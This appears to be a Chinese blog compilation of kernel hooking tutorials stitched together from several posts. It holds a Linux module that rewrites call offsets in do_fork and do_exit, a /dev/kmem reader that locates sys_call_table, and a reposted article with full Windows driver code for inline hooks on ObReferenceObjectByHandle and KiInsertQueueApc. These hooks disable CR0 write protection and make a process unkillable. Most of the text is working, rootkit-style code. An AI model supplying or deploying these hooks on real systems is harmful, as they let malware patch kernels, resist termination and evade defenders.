- {//e8是GCC编译出来的普通函数调用的call,当然也可能是某个立即数里面的一个字节
- if((*(int *)(p+1) + (unsigned long)p + 5) == old_fun)
- {//so需要看下看e8后面是不是老地址的偏移值,是的话替换掉
- *(int *)(p+1) = new_fun - (unsigned long)p - 5;
- return 1;
- }
- }
- p++;
- }
- }
- static int _init_module(void ) {
- printk("---z---\t+++++++++++\n");
- orig_copy_process = _FORK_copy_process;
- orig_profile_task_exit = _EXIT_profile_task_exit;
- lock_kernel();
- CLEAR_CR0
- replace_fun(_DO_FORK_, _FORK_copy_process, (unsigned long)my_copy_process);
- replace_fun(_DO_EXIT_, _EXIT_profile_task_exit, (unsigned long)my_profile_task_exit);
- SET_CR0
- unlock_kernel();
- return 0;
- }
- static void _cleanup_module(void) {
- printk("---z---\t---------\n");
- lock_kernel();
- CLEAR_CR0
- replace_fun(_DO_FORK_, (unsigned long)my_copy_process, _FORK_copy_process);
- replace_fun(_DO_EXIT_, (unsigned long)my_profile_task_exit, _EXIT_profile_task_exit);
- SET_CR0
- unlock_kernel();
- }
- module_init(_init_module);
- module_exit(_cleanup_module);
装载卸载内核,dmesg看输出
- ---z--- +++++++++++
- ---z--- PID:12668 exited!
- ---z--- PID:642 fork 12671 successed!
- ---z--- PID:12671 exited!
- ---z--- PID:4422 fork 12672 successed!
- ---z--- PID:12672 exited!
- ---z--- PID:6992 fork 12673 successed!
- ---z--- PID:11 fork 12674 successed!
- ---z--- PID:12674 fork 12675 successed!
- ---z--- PID:12675 exited!
- ---z--- PID:12674 exited!
- ---z--- ---------
OK ,很好,,,,,,
分类: LINUX
测试环境: Debian Lenny 2.6.26-2-686
091020:实在是不好意思,之前的代码稍微有一些问题,已经改正了;-)
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/mman.h> #define CALLOFF 100 //读取100字节 struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; //这个结构表示IDTR寄存器,这个寄存器中保存中断描述符表 的地址 struct { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) idt; //中断描述符表中的内容:中断门描述符 unsigned int old_readkmem (int fd, void * buf,size_t off,unsigned int size) //用read方式读取kmem中一定长度内容 { if (lseek64(fd, (unsigned long long)off,SEEK_SET)!=off) { //perror(\"fd lseek\"); return 0; } if (read(fd, buf,size)!=size) { //perror(\"fd read\"); return 0; } } unsigned long readkmem (int fd, void * buf, size_t off, unsigned int size)//用mmap方式从kmem中读取一定长度内容 { size_t moff, roff; size_t sz = getpagesize(); char * kmap; unsigned long ret_old = old_readkmem(fd, buf, off, size); //先用老方法读取,不行再用mmap if (ret_old != 0) return ret_old; moff = ((size_t)(off/sz)) * sz; roff = off - moff; kmap = mmap(0, size+sz, PROT_READ, MAP_PRIVATE, fd, moff); if (kmap == MAP_FAILED) { perror("readkmem: mmap"); return 0; } memcpy (buf, &kmap[roff], size); if (munmap(kmap, size) != 0) { perror("readkmem: munmap"); return 0; } return size; } int main (int argc, char **argv) { unsigned sys_call_off; int kmem_fd; // /dev/kmem文件描述符 unsigned sct; char sc_asm[CALLOFF],*p; /* 获得IDTR寄存器的值 */ asm ("sidt %0" : "=m" (idtr)); printf("idtr base at 0x%X\n",(int)idtr.base); /* 打开kmem */ kmem_fd = open ("/dev/kmem",O_RDONLY); if (kmem_fd<0) { perror("open"); return 1; } /* 从IDT读出0x80向量 (syscall) */ readkmem (kmem_fd, &idt,idtr.base+8*0x80,sizeof(idt)); //idtr.base+8*0x80 表示80中断描述符的偏移 sys_call_off = (idt.off2 << 16) | idt.off1; //idt.off2 表示地址的前16位,得到syscall地址 printf("idt80: flags=%X sel=%X off=%X\n", (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off); /* 寻找sys_call_table的地址 */ readkmem (kmem_fd, sc_asm,sys_call_off,CALLOFF); p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3); //只要找到邻近int $0x80入口点system_call的call sys_call_table(,eax,4)指令的机器指令就可以了,call something(,eax,4)指令的机器码是0xff 0x14 0x85,因此搜索这个字符串。 sct = *(unsigned*)(p+3); //sys_call_table地址就在0xff 0x14 0x85之后 if (p) { printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n", sct, p); } close(kmem_fd); return 0; } 本文以发表在黑防09期 详谈内核三步走Inline Hook实现 (一)Inline hook原理 Inline hook通俗的说就是对函数执行流程进行修改,达到控制函数过滤操作的目的。理论上我们可以在函数任何地方把原来指令替换成我们的跳转指令,也确实有些人在inline 的时候做的很深,来躲避inline 的检测,前提是必须对函数的流程和指令非常熟悉,且这种深层次的inlline 不具有通用性,稳定性也是问题。本文讨论的是具有通用性的两类inline的实现。 Inline hook原理:解析函数开头的几条指令,把他们Copy到数组保存起来,然后用一个调用我们的函数的几条指令来替换,如果要执行原函数,则在我们函数处理完毕,再执行我们保存起来的开头几条指令,然后调回我们取指令之后的地址执行。 整个Inline hook的过程就大体这样,中间牵扯到对函数的检查,地址的获取就直接调用函数即可。 本文所要讨论的两类Inline hook都是基于上面原理。 说明三点: 1、堆栈平衡是重中之重,参数压栈也需要格外注意 2、CR0寄存器中的WP位控制处理器是否允许往只读内存页写入,为0禁用保护机制。 3、提高中断级别到DISPATCH_LEVEL,禁止线程切换产生的中断 (二)inline hook应用 Inline hook可分为两类: (1)inline 导出函数,选择ObReferenceObjectByHandle做例子。 (2)inline 未导出函数,选择KiInsertQueueApc做例子。 导出函数前几个字节可以利用windbg自己查看是什么内容,而未导出函数就需要自己解析指令确定需要hook几个字节,其间还有很多问题需要注意。当大家真正的弄懂了我这篇文章,回头再看inline hook就会觉得inline也不过如此。 下面通过2个例子来讲inline hook的使用(这部分知识网上也有很多,但都很零散不系统,本文部分思路及代码的确参考了网上资源,有抄袭之嫌,希望读者谅解。我一直强调“授人以鱼不如授人以渔”,代码并不重要,关键是思想。) 1、inline hook ObReferenceObjectByHandle保护进程 ObReferenceObjectByHandle属于ntoskrnl.exe导出函数,在内核中调用频繁。 NtCreateProcess创建进程需要调用ObReferenceObjectByHandle,NtTerminateProcess需要调用ObReferenceObjectByHandle,基于这我们就可以利用Hook来保护进程同时屏蔽进程的创建。 效果:已经运行的记事本任务管理器无法结束 流程: HookObReferenceObjectByHandle------DetourMyObReferenceObjectByHa ndle----------UnHookObReferenceObjectByHandle 核心代码分析如下: //=======================================inline HOOK ObReferenceObjectByHandle=========================== //ObReferenceObjectByHandle是ntoskrnl.exe导出函数,采用HOOK前五个字节的方式 //字节型数据 unsigned char ULONG CR0VALUE; BYTE OriginalBytes[5]={0}; //保存原始函数前五个字节 BYTE JmpAddress[5]={0xE9,0,0,0,0}; //跳转到HOOK函数的地址 extern POBJECT_TYPE *PsProcessType; NTKERNELAPI NTSTATUS ObReferenceObjectByHandle( IN HANDLE Handle, IN ACCESS_MASK DesiredAccess, IN POBJECT_TYPE ObjectType OPTIONAL, IN KPROCESSOR_MODE AccessMode, OUT PVOID *Object, OUT POBJECT_HANDLE_INFORMATION HandleInformation OPTIONAL ); //HOOK函数 NTSTATUS DetourMyObReferenceObjectByHandle( IN HANDLE Handle, IN ACCESS_MASK DesiredAccess IN POBJECT_TYPE ObjectType OPTIONAL, IN KPROCESSOR_MODE AccessMode, OUT PVOID *Object, OUT POBJECT_HANDLE_INFORMATION HandleInformation OPTIONAL); // //hook流程 HookObReferenceObjectByHandle---DetourMyObReferenceObjectByHandle---UnHookObReferenceObjectByHandle void HookObReferenceObjectByHandle() { //赋值前面定义的数组 KIRQL Irql; KdPrint(("[ObReferenceObjectByHandle] :0x%x",ObReferenceObjectByHandle)); //地址验证 //保存函数前五个字节内容 RtlCopyMemory(OriginalBytes,(BYTE *)ObReferenceObjectByHandle,5); //保存新函数五个字节之后偏移 *(ULONG *)(JmpAddress+1)=(ULONG)DetourMyObReferenceObjectByHandle-((ULONG)ObReferenceObjectByHandle+5); //开始inline hook //关闭内存写保护 _asm { push eax mov eax, cr0 mov CR0VALUE, eax and eax, 0fffeffffh mov cr0, eax pop eax } //提升IRQL中断级 Irql=KeRaiseIrqlToDpcLevel(); //函数开头五个字节写JMP RtlCopyMemory((BYTE *)ObReferenceObjectByHandle,JmpAddress,5); //恢复Irql KeLowerIrql(Irql); //开启内存写保护 __asm { push eax mov eax, CR0VALUE mov cr0, eax pop eax } } _declspec (naked) NTSTATUS OriginalObReferenceObjectByHandle(IN HANDLE Handle, IN ACCESS_MASK DesiredAccess, IN POBJECT_TYPE ObjectType OPTIONAL, IN KPROCESSOR_MODE AccessMode, OUT PVOID *Object, OUT POBJECT_HANDLE_INFORMATION HandleInformation OPTIONAL) { _asm { mov edi,edi push ebp mov ebp,esp mov eax,ObReferenceObjectByHandle add eax,5 jmp eax } } NTSTATUS DetourMyObReferenceObjectByHandle( IN HANDLE Handle, IN ACCESS_MASK DesiredAccess, IN POBJECT_TYPE ObjectType OPTIONAL, IN KPROCESSOR_MODE AccessMode, OUT PVOID *Object, OUT POBJECT_HANDLE_INFORMATION HandleInformation OPTIONAL) { NTSTATUS status; //调用原函数 status=OriginalObReferenceObjectByHandle(Handle,DesiredAccess,ObjectType,AccessMode,Object,HandleInformation); if((status==STATUS_SUCCESS)&&(DesiredAccess==1)) { if(ObjectType== *PsProcessType) { if( _stricmp((char *)((ULONG)(*Object)+0x174),"notepad.exe")==0) { ObDereferenceObject(*Object); return STATUS_INVALID_HANDLE; } } } return status; } void UnHookObReferenceObjectByHandle() { //把五个字节再写回到原函数 KIRQL Irql; //关闭写保护 _asm { push eax mov eax, cr0 mov CR0VALUE, eax and eax, 0fffeffffh mov cr0, eax pop eax } //提升IRQL到Dpc Irql=KeRaiseIrqlToDpcLevel(); RtlCopyMemory((BYTE *)ObReferenceObjectByHandle,OriginalBytes,5); KeLowerIrql(Irql); //开启写保护 __asm { push eax mov eax, CR0VALUE mov cr0, eax pop eax } } 驱动加载后,结束记事本程序如下: (图 一) 详细分析: 1、ObReferenceObjectByHandle分析 NTSTATUS ObReferenceObjectByHandle( IN HANDLE Handle, IN ACCESS_MASK DesiredAccess, IN POBJECT_TYPE ObjectType OPTIONAL, IN KPROCESSOR_MODE AccessMode, OUT PVOID *Object, OUT POBJECT_HANDLE_INFORMATION HandleInformation OPTIONAL ); 函数原型如上,由句柄获取对象指针,函数返回值: STATUS_SUCCESS 调用成功 STATUS_OBJECT_TYPE_MISMATCH STATUS_ACCESS_DENIED 权限不够 STATUS_INVALID_HANDLE 无效句柄 调用NtTerminateProcess需要调用ObReferenceObjectByHandle,因此我们通过对函数返回值进程修改来达到保护进程。但是NtCreateProcess(最终调用的PspCreateProcess)同样调用这个函数,如果不加区分的话,创建进程同样被禁止了,那么如何区分到底是谁在调用呢。参考WRK,我发现可以通过第二个参数DesiredAccess来判别,创建进程和结束进程第二个参数明显不同,PROCESS_CREATE_PROCESS和PROCESS_TERMINATE,问题就解决了。 PspCreateProcess位于 WRK-v1.2\base\ntos\ps\create.c 调用ObReferenceObjectByHandle代码: Status = ObReferenceObjectByHandle (ParentProcess, PROCESS_CREATE_PROCESS, PsProcessType, PreviousMode, &Parent, NULL); NtTerminateProcess位于 WRK-v1.2\base\ntos\ps\psdelete.c 调用ObReferenceObjectByHandle代码: st = ObReferenceObjectByHandle (ProcessHandle, PROCESS_TERMINATE, PsProcessType, KeGetPreviousModeByThread(&Self->Tcb), &Process, NULL); DesiredAccess参数说明: #define PROCESS_TERMINATE (0x0001) // winnt #define PROCESS_CREATE_THREAD (0x0002) // winnt #define PROCESS_SET_SESSIONID (0x0004) // winnt #define PROCESS_VM_OPERATION (0x0008) // winnt #define PROCESS_VM_READ (0x0010) // winnt #define PROCESS_VM_WRITE (0x0020) // winnt // begin_ntddk begin_wdm begin_ntifs #define PROCESS_DUP_HANDLE (0x0040) // winnt // end_ntddk end_wdm end_ntifs #define PROCESS_CREATE_PROCESS (0x0080) // winnt #define PROCESS_SET_QUOTA (0x0100) // winnt #define PROCESS_SET_INFORMATION (0x0200) // winnt #define PROCESS_QUERY_INFORMATION (0x0400) // winnt #define PROCESS_SET_PORT (0x0800) #define PROCESS_SUSPEND_RESUME (0x0800) // winnt 2、函数调用说明 C语言中我们调用一个函数就直接写函数名就可以,但是实际是进行了下面的操作: 把函数参数压入堆栈,压入函数返回地址,调用函数,为新函数开辟堆栈空间申请局部变量, 恢复堆栈保持堆栈平衡 (_stdcall调用方式)汇编代码就是: Push 参数4 Push 参数3 Push 参数2 Push 参数1 Call 函数 ;call指令同时完成2个操作,一是把返回地址压入堆栈,二跳转到调用函数入口地址 Push ebp Mov ebp,esp Sub esp, XX ;开辟栈帧空间 …… Add esp ,XX Pop ebp Retn ;恢复堆栈平衡 堆栈详细情况: ESP 局部变量 EBP 返回地址 参数1 参数2 参数3 参数4 堆栈是由高地址到低地址。 参数就通过EBP来去,四字节对齐的 参数4----------------------EBP+0x14 参数3----------------------EBP+0x10 参数2----------------------EBP+0xc 参数1--------------------- EBP+0x8 局部变量则通过Ebp-XX来获取 因此inline的时候要时刻考虑堆栈平衡,破坏了堆栈平衡就会导致函数崩溃。 我通常inline hook的思路就是三步走: HOOK函数-----DetourMy处理函数----------UnHook函数 处理函数中对返回结果或者中间数据进行修改处理,然后调用原始函数。由于在我们处理的时候原始函数已经被hook了,所以我自己构造了一个原始函数,但是由于参数在我们hook前已经压人堆栈了,所以这里我们不用重新开辟栈帧,因此声名函数类型为_declspec (naked) 。有人就会问那么你调用处理函数的时候,参数不是重复压栈了,这里请注意,我们是通过JMP方式跳转到我们处理函数入口地址的,而不是Call的形式,所以并没有执行上面所说的函数调用过程,参数仍然是原始函数的。也就是说在真个inline hook过程中我们不能破坏原始栈帧的EBP。 关于函数调用很栈帧的相关联系可能比较难理解,我也在尽肯能的用通俗的话来解释清楚,有什么不理解的地方或者个人见解欢迎大家跟我交流。 2、inline hook KiInsertQueueApc对抗插APC杀进程 KiInsertQueueAPc为内核未导出函数,我下面提供的代码可以作为未导出函数inline的通用模板来使用,大家根据自己需要进行修改,基于inline ObReferenceObjectByHandle已经把原理分析了,这部分我就不详加分析,仍然采用的但不走,Hook函数---DetourMy函数---UnHook函数 直接看核心代码: //===================inline hook KiInsertQueueApc==================== //KiInsertQueueApc为内核未导出函数,可以从导出函数KeInsertQueueApc定位 //修改KiInsertQueueApc开头5字节 //处理函数思路:apc-->kthread---apc_state--eprocess--进程名字 //HookKiInsertQueueApc---DetourMyKiInsertQueueApc---UnHookKiInsertQueueApc ULONG CR0VALUE; ULONG g_KiInsertQueueApc; BYTE JmpAddress[5]={0xE9,0,0,0,0}; //跳转到HOOK函数的地址 BYTE OriginalBytes[5]={0}; //保存原始函数前五个字 VOID FASTCALL DetourMyKiInsertQueueApc(IN PKAPC Apc,IN KPRIORITY Increment); VOID WPOFF() { _asm { push eax mov eax, cr0 mov CR0VALUE, eax and eax, 0fffeffffh mov cr0, eax pop eax cli }; } VOID WPON() { __asm { sti push eax mov eax, CR0VALUE mov cr0, eax pop eax }; } //1、获取KiInsertQueueApc地址 ULONG GetFunctionAddr( IN PCWSTR FunctionName) //PCWSTR常量指针,指向16位UNICODE { UNICODE_STRING UniCodeFunctionName; RtlInitUnicodeString( &UniCodeFunctionName, FunctionName ); return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName ); } ULONG GetKiInsertQueueApcAddr() { ULONG sp_code1=0x28,sp_code2=0xe8,sp_code3=0xd88a; //特征码,sp_code3 windbg显示错误,应该为d88a ULONG address=0; PUCHAR addr; PUCHAR p; addr=(PUCHAR)GetFunctionAddr(L"KeInsertQueueApc"); for(p=addr;p<p+PAGE_SIZE;p++) { if((*(p-1)==sp_code1)&&(*p==sp_code2)&&(*(PUSHORT)(p+5)==sp_code3)) { address=*(PULONG)(p+1)+(ULONG)(p+5); break; } } KdPrint(("[KeInsertQueueApc] addr %x\n",(ULONG)addr)); KdPrint(("[KiInsertQueueApc] address %x\n",address)); return address; } VOID HookKiInsertQueueApc() { KIRQL Irql; g_KiInsertQueueApc=GetKiInsertQueueApcAddr(); KdPrint(("[KiInsertQueueApc] KiInsertQueueApc %x\n",g_KiInsertQueueApc)); // 保存原函数的前字节内容 RtlCopyMemory (OriginalBytes, (BYTE*)g_KiInsertQueueApc, 5); //新函数对原函数的偏移地址 *( (ULONG*)(JmpAddress + 1) ) = (ULONG)DetourMyKiInsertQueueApc - (ULONG)g_KiInsertQueueApc - 5; // 禁止系统写保护,提升IRQL到DPC WPOFF(); Irql = KeRaiseIrqlToDpcLevel(); //inline hook函数 RtlCopyMemory ( (BYTE*)g_KiInsertQueueApc, JmpAddress, 5 ); // 恢复写保护,降低IRQL KeLowerIrql(Irql); WPON(); } //原函数 _declspec (naked) VOID FASTCALL OriginalKiInsertQueueApc(IN PKAPC Apc,IN KPRIORITY Increment) { _asm { //前五个字节 mov edi,edi push ebp mov ebp,esp mov eax,g_KiInsertQueueApc add eax,5 jmp eax } } //处理函数 //apc--kthread--apc_state--eprocess VOID FASTCALL DetourMyKiInsertQueueApc(IN PKAPC Apc,IN KPRIORITY Increment) { ULONG thread; ULONG process; if(MmIsAddressValid((PULONG)((ULONG)Apc+0x008))) //地址验证 KAPC结构+008--->kthread thread=*((PULONG)((ULONG)Apc+0x008)); else return ; if(MmIsAddressValid((PULONG)((ULONG)thread+0x044))) //kthread+30-->KAPC_STATE+10-->eprocess process=*((PULONG)((ULONG)thread+0x044)); else return ; if(MmIsAddressValid((PULONG)((ULONG)process+0x174))) //eprocess+174---->进程名字 { if((_stricmp((char *)((ULONG)process+0x174),"notepad.exe")==0)&&(Increment==2)) { return ; } else OriginalKiInsertQueueApc(Apc,Increment); } else return; } //卸载函数 VOID UnHookKiInsertQueueApc() { KIRQL Irql; WPOFF(); Irql = KeRaiseIrqlToDpcLevel(); //inline hook函数 RtlCopyMemory ( (BYTE*)g_KiInsertQueueApc, OriginalBytes, 5); // 恢复写保护,降低IRQL KeLowerIrql(Irql); WPON(); } 考虑到大家水平不一,对一些问题我详细如下: 1、特征码的寻找 利用windbg的kernel debug来查找: uf KeInsertQueueApc nt!KeInsertQueueApc+0x3b: 804e6d0a 8b450c mov eax,dword ptr [ebp+0Ch] 804e6d0d 8b5514 mov edx,dword ptr [ebp+14h] 804e6d10 894724 mov dword ptr [edi+24h],eax 804e6d13 8b4510 mov eax,dword ptr [ebp+10h] 804e6d16 8bcf mov ecx,edi 804e6d18 894728 mov dword ptr [edi+28h],eax 804e6d1b e8523fffff call nt!KiInsertQueueApc (804dac72) 804e6d20 8ad8 (错误) mov bl,al 特征码就是sp_code1=0x28 sp_code2=0xe8 sp_code3=0xd88a(windbg显示有误,应该是d88a ) 这种方法就是通过已导出函数定位未导出函数通常使用的方法,具有通用性。详细见代码。 2、取EPRocess的过程 Apc-----kthread-----apc_state—eprocess dt _KAPC 偏移0x008指向KTHREAD dt _KTHREAD 偏移0x034指向KAPC_STATE dt _KAPC_STATE 偏移0x10指向EPROCESS dt _EPROCESS 偏移0x174指向进程名 (三)总结 很多人觉得inline hook比较难,处理起来很麻烦。但是我相信看完我这篇文章,你一定不会这么认为了,inline hook其实只要细心,注意细节跟别的hook没什么两样。本人采用的三步走inline hook做到了把inline简单化,同时有保证了堆栈的平衡。 由于代码采用的硬编码,编译环境是sp3+VMware,请根据自己操作系统自行修改。欢迎读者跟我交流。*转载请注明来自看雪论坛@PEdiy.com |
注意:
ubuntu等发行版已经禁用了/dev/kmem,可以查看/boot/config-2.6.xx,grep一下DEV_KMEM,可以发现是no set。